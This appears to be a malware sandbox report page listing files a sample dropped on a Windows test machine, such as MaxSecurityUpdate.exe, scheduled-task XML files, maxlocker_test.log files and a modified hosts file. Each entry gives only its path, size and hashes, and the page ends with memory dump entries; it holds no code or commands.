SHA512 af07d3f6dcf1779bcc864aabe9e08563b20b8df8238df7bb08a5fe3b4e40d10f2e2a4442a042fe5d7a320e3b8195799ecc885549faa8babb5909eb32271e7b91
TLSH
T170216833B3DD8615CC9A413A10CDAC1036B6C7DB40DECFAB7B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 0b35f895c089483878f33cc614975097737b8f8d6faf94c685bc57144472daa0
MD5 3b6cca6b67d3ed297cb221d91597412e
SHA1 ab01c77cb242429f621323c989c463d17c922068
SHA512 232786febc2c60bc17398d76b7e356d511c72a4feec508152531ff17b2ac984f4764483b45fc4dc0c2b0bd51d60471770c9af478c9e851918f6d05ba7195c434
TLSH
T155115733F3CC8624C89A403650CEAC1036B587DB50DECEABBB84D154B43F599CE61260
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 f1e5d82b5a189ea2be5bcb97eaf21b4ff8cb785bf14b9b7d0c3532a3cd068d60
MD5 22f0ffaa212f3eff78593bfdeee03662
SHA1 1464dfc97fd5c12669e86a3ebf2c748910c3a0c0
SHA512 cfa263d4dc671f524387464ef486912af1d32d2ca39594a346e17f511050f9ef98e8c20f042c67e367ba60eaa39abdb1d677bb570ed9d05101e17b8441faeb63
TLSH
T170216833B3DD8614CC9A413A10CDAC1036B6C7DB40DECFAB7B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 9ecf454d8b55b7bc57249021d41b3bb8ae49c6db962c081c3fcfec87c41d5373
MD5 610f4038baf99b8ee9e40266597a6f8f
SHA1 7a3f9b3694b4dd63df5788b22183418f653cda19
SHA512 150d4cc311601c7bb6d9d7068471d9217791411ee172e5a14272e4034e2bdb8b82578dcf838e0a192e9abe5a573ff170870608e353e553d46383762188c14fa0
TLSH
T1C4215333F3CC8624C89A413A50CEAC1036B687DB419ECFABBB84D154A43F699DE61260
MD5 SHA1 SHA512 TLSH

Submit Download

prep_Activatable Class_Hermes_perf.cache

Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
Size 599B
SHA256 b536a3dae9ea5c69081f0491eed829e3b57e32401fdf49a63031bcd6b20e6fdb
MD5 658ab8c32d4cc5deb36ac5f63da4658b
SHA1 30c12cd871ff0c2c4098d794e9ae4f2540586813
SHA512 a73030c008ef3c2e274f11c90bfe79fa8ae402f76801c710bed8cc1ab1218a84858ea566b772be4bade8ef639a019c57d297028df15b64b3753482cf0f3c8f85
TLSH
T12AF05C83EB6A1B72C456123DC8EE56E47B31D1846EC11367A2107B1D3C2B7192D174BD
MD5 SHA1 SHA512 TLSH

Submit Download

MAX_BG~1.MP3

Path C:\Users\Admin\AppData\Local\Temp\MAX_BG~1.MP3
Size 3.8MB
SHA256 90b702d6a35ed8b85ff10aeee252710a562f14c6dbf5b09405f4e3987865c5c9
MD5 b1ec4b08733534296359f125d21626cf
SHA1 e1f2b1dd0d9a72dc154ab2e6b83e6d7abda5f32d
SHA512 f73b0104047ec88c4dff0a76412a9d19ce92e15ec3da5c1a9af64f2f7181e6e42445c290813ae9d711f176976c3e0c0946de80d35eab5101d20484a1fe9b36ea
SSDEEP 49152:jtSdkbEND/4VMVGg43oNFsjbZSYN8chhAe8bUItsIk1FCHdze2EACtbCnHxKIenJ:h3bEN4OVu3eMNnAeum5bC9zHNibjPUX8
TLSH
T18406014F0740EA3A38578D5A35E34089E9913FEA9C24FDE8CB58F312F1739A657CA152
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_isbkjdbn.oon.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_isbkjdbn.oon.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

maxlocker_test.log

Path C:\Users\Admin\AppData\Local\Temp\maxlocker_test.log
Size 7KB
SHA256 ada8fdb05422f8daef348b81421d93b108cae752b398c9137cdfe330de2c052f
MD5 f68c166b080aa54562ab86c7bfa020b5
SHA1 8f5502acbfd190b21dd83ac60f71d40496099599
SHA512 2886537f82d66679dcf15da17c2ca9994d4b3b6bae9aad58f07295108e77ca0894a4b2933c72b3e0e23d51f196d78c5ff55f0ffcbdd4d337e20176679dab420a
SSDEEP 192:rIb8rEUn2uUneUGiTOxnt7YAd0TnBxxn4dl8dBgW:rIgrEM2uMeUGiSNt7Ym0TBxNSl8dBgW
TLSH
T1C8F12015AF54EAD08B34B043BB095F9B81520506B3A13E69FE4D049737C5709DB6FB6C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir4640_640756373\CRX_INSTALL\_locales\en\messages.json
Size 450B
SHA256 c0945dd5fdecab40c45361bec068d1996e6ae01196dce524266d740808f753fe
MD5 dbedf86fa9afb3a23dbb126674f166d2
SHA1 5628affbcf6f897b9d7fd9c17deb9aa75036f1cc
SHA512 931d7ba6da84d4bb073815540f35126f2f035a71bfe460f3ccaed25ad7c1b1792ab36cd7207b99fddf5eaf8872250b54a8958cf5827608f0640e8aafe11e0071
TLSH
T1D3F055CB9000FC5E538BC00EB10072282BA603E01AD1726724EC1C0E67DFDAEB143F9A
MD5 SHA1 SHA512 TLSH

Submit Download

MaxSecurityUpdate.exe

Path C:\Users\Admin\AppData\Roaming\MaxSecurity\MaxSecurityUpdate.exe
Size 4.0MB
SHA256 8c5af3d31b5c52c76eb0d928bbb77feb55bbb25a6b072f3a1a293e6d8b48f070
MD5 3ba8f0b332e6b825d578224a7c180c79
SHA1 144555ff6bce8e0fdb58e5a029981905e6eda5aa
SHA512 ea2ccf0ba8cb5da5b2f508dfe983c66f6b6a1bc6651352281a0324814b9f0667b0f1021184049e4974c4b2ee93639459d1d174e66413b3174e20999ab9c9db33
SSDEEP 98304:VRy3bEN4OVu3eMNnAeum5bC9zHNibjPUXB:f4f3l9AGC9ze4
TLSH
T12D16010F0340EA2DF8578E7930E30089E5A03FA75D24FDE98E58B356E573AE657C6252
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

task.xml

Path C:\Users\Admin\AppData\Roaming\MaxSecurity\task.xml
Size 1KB
SHA256 4bd072bf6e8b9e2ae7ed74a6b25a462a0b37f2b0ff6e4499d36a3f774c4699bd
MD5 2172a3842d5379281c02842e87e7d978
SHA1 36aedae3c44be3fdcdf21048952e52c1de10f7ad
SHA512 f821264b3cd4efd9daff5378efa1bb270b128bbf0f35f349ccca9b9550e8346bb72d714e91a7413a719a7dcc39a8605346860e00579b8e56f49576c900b369bf
TLSH
T17331AB43A7FD120DF2F36B5CBFBA58216AA6FD555C29C46C00B4100D89B2D318AB0B33
MD5 SHA1 SHA512 TLSH

Submit Download

task_sys.xml

Path C:\Users\Admin\AppData\Roaming\MaxSecurity\task_sys.xml
Size 1KB
SHA256 f1b1280aeae32382a631b1c20f85c5bcc1dc9d0a4b9bd1ad08e588a526b0655c
MD5 2f44640ae82496fd792aca54b51b8b06
SHA1 eb80d6008bcf8b2b10fbdd76a7bfda40b4d9171d
SHA512 cefb61f588eeb46ffb7ca263c3206e5486a3db4e8d874bcbc000e62ad2c19bd95e4b48f44db8d163f341bd3f3168ce68e1be639488a50cf84bba9565b2036ebb
TLSH
T1BC318B43ABFE120DF2F39F5CBEB6642159A6FD565C29D8AD00A0140D48B1D71CAB1B37
MD5 SHA1 SHA512 TLSH

Submit Download

default.exc

Path C:\Users\Admin\AppData\Roaming\Microsoft\Spelling\en-US\default.exc
Size 2B
SHA256 b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209
MD5 f3b25701fe362ec84616a93a45ce9998
SHA1 d62636d8caec13f04e28442a0a6fa1afeb024bbb
SHA512 98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84
MD5 SHA1 SHA512

Submit Download

f01b4d95cf55d32a.automaticDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\f01b4d95cf55d32a.automaticDestinations-ms
Size 7KB
SHA256 0b2f6ba3cf1b094a2d36adab3afb94242a864df7a18d69aa64fa9d5c0cb445df
MD5 4bd4fb805e80fb3ab08b328c02da1318
SHA1 377e751e99cc112b830f1ad1f2b5f6aa77ab86b6
SHA512 a40de82eb8450aba5e91f7c62633b51a2a3ab5019ef5dede7d713f584851e7566e791fe40651c0750fc450d890b9f7fc5a87185df12543d94e51b6addaa542c5
SSDEEP 96:ipYYo9d0ZrY6rbulgATXtHyHfLxfI48KUkWdRriYQLUYad7W:UYz96Zr7rbigATdHy/LxfIDjd+LA
TLSH
T104F1DC0626D5CF77E014C2714D629388A620FF2A9E059ACFBBC4731E3D3E496885ED27
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

maxlocker_test.log

Path C:\Users\Admin\Desktop\maxlocker_test.log
Size 8KB
SHA256 69e1a2b8ca921d9a1d199dd9c2f5d205060cd76aa2080869cb91e086287e6bcf
MD5 0f0c1b72179109222589beda11b2fb7a
SHA1 08eaf47d37c1e16d0a7239628cfffae5a313ac84
SHA512 98180118a89bfe73ac9e6e75cce20d7f82ca3c23c8b3199c3821dfb25467f9debb9d46831c1fc2aeb87d3e82dc46a58f6d57044e78a1cfa6628e92c5306e17d9
SSDEEP 192:rIb8rEUn2uUneUGiTOxnt7YAd0TnBxxn4dl8dBgb:rIgrEM2uMeUGiSNt7Ym0TBxNSl8dBgb
TLSH
T13D023011AF64EAD08B34B043AB595F9B81521407B3623D2AFE4D409A37C5709DBAFF6C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

maxlocker_test.log

Path C:\Users\Admin\Desktop\maxlocker_test.log
Size 14KB
SHA256 176bc8b80500f92224f695c87155b82ed1e916d232eacfedbd5b5d4ff4942ebe
MD5 048c2f6ab643b76eb190f112f5a4fdb5
SHA1 2f90e2ce385fe95c5e2fbd894ea4fc0bab1ab7d7
SHA512 dd2af1909c4e9d773648ec68a21715a0dc1259d35bd28a77d2e17667c8b96041cd9105f6310e24ce7390d25323228adccce08a5cd7ff6978bf7ea52555b667e1
SSDEEP 384:rIgrEM2uMeUGiSNt7Ym0TBxNSl8dBgpXABJz34CnOdg4OZI:EM2nZkt7qSe7gZzV
TLSH
T10A6231116E15DAE48B347043B70A4F9B9562050BB3737D6EAE4C049A3A82B18D76FF6C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

maxlocker_test.log

Path C:\Users\Admin\Desktop\maxlocker_test.log
Size 888B
SHA256 aca321f3bde541d638b9ea729575e468385e243f1b3ca2863ef79b1808fb3b16
MD5 666d509ecffd933a029a7f661ba3c851
SHA1 92fb59cbd2c9526274a110226ce1b36909051410
SHA512 558365144c7caf458f280a70d544311df1cfb1c71541997ff4a82d9b2f2a9d11761a9b1832ff648d32cb1148ea820bf6119f3c2a31fb63a076dd8b20e8cda1d0
TLSH
T1B31168526F98894694B140577A54BBCA91524C06BA853C02BF0B904737C9F1C966FD2C
MD5 SHA1 SHA512 TLSH

Submit Download

maxlocker_test.log

Path C:\Users\Admin\Desktop\maxlocker_test.log
Size 5KB
SHA256 287ebb467b4ea0376d2d35dc6ffdc76b54aec7876f32b0555c0bc5f0a2ed4b8e
MD5 d1ecf17d3f5572314e33f670b11bbf51
SHA1 38b06e15fc7c81711ead414caf371493683a5bac
SHA512 48a302ca53012512aaf9453702d0c169fa117ba51d9c2c89dc3024460f425941124778e64b31dbd09f31172cd9ab4c05b6e5b3e8da37e43f233ab057a009adfc
SSDEEP 96:P3D38KiW+8MMEUn2uUnf2h6ctiTOqknNTc0Y05Vf0TnBGbPPOqknlGe5PJr/ii:rIb8rEUn2uUneUGiTOxnt7YAd0TnBxxR
TLSH
T18FB15E29AE20FCD04778B083E6591F9B50411903B3722F6DEE4D14A63B94309EB7BB6C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ReAgent.log

Path C:\Windows\Logs\ReAgent\ReAgent.log
Size 2KB
SHA256 035021808117249046ae785ea1da7bd579b26d7cfb7d40311ba754ea5bd30c3f
MD5 2af20b50dce7e60d71f5de1d26e55466
SHA1 85fb40ab81484e9975af3aef00744fbbf19786e7
SHA512 7d701c37baab9c8bcb0a3b87cd2b302b998741231d398a120b56702b99bd18e87a8d618282db688eb9b0e29546c5326aa4d2757534ca2c8b2922d09d34db6cf3
TLSH
T14051F7316EB64230A225D7A5F6591B8ED1C372A0174FB114B63E7055BF0B30E85DDB6C
MD5 SHA1 SHA512 TLSH

Submit Download

diagerr.xml

Path C:\Windows\Panther\UnattendGC\diagerr.xml
Size 14KB
SHA256 6ffca7412014a24a6e8509b8ed0fbcbd705bd0aad6f7be07241c51339aa34f9a
MD5 81027904c461508c84d7694f50eeba76
SHA1 cfcf142fa0b1ccf4653b3e15c96a1bae7d5a18c1
SHA512 4d8600402566027e636dca061c63b5e4a2a17e9dad522a257ce3ce751f2fc5e371ecc7018b24cfe35dac6730547f3a0dad2863e88b435a70a3ec44bb318adef7
SSDEEP 192:53gbq3gbq3gbHW1M/1LXwPBr3gbq3gbq3gbq3gbt:53Iq3Iq3ILg3Iq3Iq3Iq3It
TLSH
T1AA62B629B1992EBB5C9446F9DFD038C26F8097794106A03795C4FDAFA279082F5B07CE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

diagwrn.xml

Path C:\Windows\Panther\UnattendGC\diagwrn.xml
Size 14KB
SHA256 63976e6819f698dd12664b4495c238314d9a625c520aefd6b86705e696a615f3
MD5 757747b2c95afc63a850341a023f63d6
SHA1 bbff3e33bf091306b96dad5f63e6164696fa918f
SHA512 8f0f7246750c7ae13548e7fcf8299409700b44ceb5a90978213d8e05d5a491a4c6355231b49c9e39e4fe116c29dc2e646e3c62d64cdcd9d3167170d394b4061c
SSDEEP 192:53gbq3gbECc8Ut893gbY3gbq3gbq3gbq3gbt:53Iq3ILcc3IY3Iq3Iq3Iq3It
TLSH
T10262D439B1982EBB5C9446F8DFD038C26B8097794106A03795C4FDAFA279082F5B17DA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ReAgent.xml

Path C:\Windows\System32\Recovery\ReAgent.xml
Size 1KB
SHA256 3e440295d7d68b25f5da3c67041be613bbd856c0f11d18de6661efe6b401bd9d
MD5 8b0c0cfb5798af5a517486aab99a4a3f
SHA1 ccdffd9d789cd2c7f7ff5bebbf24b254e091e282
SHA512 23487e9ff1747dac15378732734e18899687dd625b634ac4019fc5dc2b0ef50feecae4907e4a8bb9213826bfdf8cf7717c062bccb5cbafcd54c897aa31785f44
TLSH
T12F210A4691B848A6D7B1D366F0F8BD60863FF1DD02E08A5CE029F6D394474928B5F970
MD5 SHA1 SHA512 TLSH

Submit Download

ReAgent.xml

Path C:\Windows\system32\Recovery\ReAgent.xml
Size 1KB
SHA256 07f0adce301905f1b9b29e7ee60ec456c81c46a58fe747000f64972a3f669e90
MD5 0d83672014b0c83cf8f0ceaa44df770b
SHA1 e304f10167e244864a65db535cfcb39a879e8963
SHA512 001306eb9a8a5aee8637c619db6dd6dd6ff31b5573fca8872414a7cf734d617bb3e833f978a7928d292120ac9da91c2de729090bac92a0d62572cf0465ebf6e8
TLSH
T12E11B64A81B858A6C7B1D266F0F8BD60863FF1DD02E08A5CA029F6D39447462CB5F9B0
MD5 SHA1 SHA512 TLSH

Submit Download

hosts

Path C:\Windows\system32\drivers\etc\hosts
Size 1KB
SHA256 ab0e454a786ef19a3ae1337f10f47354ffa9521ea5026e9e11174eca22d86e84
MD5 008fba141529811128b8cd5f52300f6e
SHA1 1a350b35d82cb4bd7a924b6840c36a678105f793
SHA512 80189560b6cf180a9c1ecafc90018b48541687f52f5d49b54ca25e040b3264da053e3d4dbb0cd38caaf496e23e516de18f500b333e3cda1fd1b25c6e9632defc
TLSH
T15421AA2A0689915D26B345E5091CB82FA31FD0EF0E3B8D8D3E8E454F7BA2A1C5326746
MD5 SHA1 SHA512 TLSH

Submit Download

memory/396-351-0x000001FA801E0000-0x000001FA802E0000-memory.dmp

Download

memory/396-395-0x000001FA94210000-0x000001FA94230000-memory.dmp

Download

memory/396-363-0x000001FA93E70000-0x000001FA93F70000-memory.dmp

Download

memory/396-376-0x000001FA83DD0000-0x000001FA83DF0000-memory.dmp

Download

memory/396-350-0x000001FA801E0000-0x000001FA802E0000-memory.dmp

Download

memory/396-362-0x000001FA83A30000-0x000001FA83A50000-memory.dmp

Download

memory/2484-240-0x00000237ABDB0000-0x00000237ABE62000-memory.dmp

Download

memory/3440-164-0x00007FFEB1250000-0x00007FFEB1BF4000-memory.dmp

Download

memory/3440-49-0x0000018F74E10000-0x0000018F74E2E000-memory.dmp

Download

memory/3440-168-0x00007FFEB1250000-0x00007FFEB1BF4000-memory.dmp

Download

memory/3440-161-0x00007FFEB1250000-0x00007FFEB1BF4000-memory.dmp

Download

memory/3440-0-0x00007FFEB13DF000-0x00007FFEB13E0000-memory.dmp

Download

memory/3440-185-0x00007FFEB1250000-0x00007FFEB1BF4000-memory.dmp

Download

memory/3440-167-0x00007FFEB1250000-0x00007FFEB1BF4000-memory.dmp

Download

memory/3440-1-0x0000018F6DDF0000-0x0000018F6DE2A000-memory.dmp

Download

memory/3440-163-0x00007FFEB1250000-0x00007FFEB1BF4000-memory.dmp

Download

memory/3440-329-0x00007FFEB1250000-0x00007FFEB1BF4000-memory.dmp

Download

memory/3440-162-0x00007FFEB1250000-0x00007FFEB1BF4000-memory.dmp

Download

memory/3440-2-0x00007FFEB1250000-0x00007FFEB1BF4000-memory.dmp

Download

memory/3440-165-0x00007FFEB1250000-0x00007FFEB1BF4000-memory.dmp

Download

memory/3440-160-0x00007FFEB1250000-0x00007FFEB1BF4000-memory.dmp

Download

memory/3440-39-0x00007FFEB1250000-0x00007FFEB1BF4000-memory.dmp

Download

memory/3440-34-0x00007FFEB1250000-0x00007FFEB1BF4000-memory.dmp

Download

memory/3440-31-0x00007FFEB1250000-0x00007FFEB1BF4000-memory.dmp

Download

memory/3440-29-0x0000018F749C0000-0x0000018F74A36000-memory.dmp

Download

memory/3440-24-0x00007FFEB1250000-0x00007FFEB1BF4000-memory.dmp

Download

memory/3440-15-0x00007FFEB1250000-0x00007FFEB1BF4000-memory.dmp

Download

memory/3440-18-0x00007FFEB1250000-0x00007FFEB1BF4000-memory.dmp

Download

memory/3440-23-0x00007FFEB1250000-0x00007FFEB1BF4000-memory.dmp

Download

memory/3648-515-0x000001422A4C0000-0x000001422AB51000-memory.dmp

Download

memory/3648-1149-0x000001422A4C0000-0x000001422AB51000-memory.dmp

Download

memory/4736-145-0x0000018442F00000-0x0000018442FB2000-memory.dmp

Download

memory/4736-144-0x0000018442EE0000-0x0000018442EFE000-memory.dmp

Download

memory/4736-146-0x00000184430C0000-0x00000184430CA000-memory.dmp

Download

memory/5432-65-0x0000021B99770000-0x0000021B99792000-memory.dmp

Download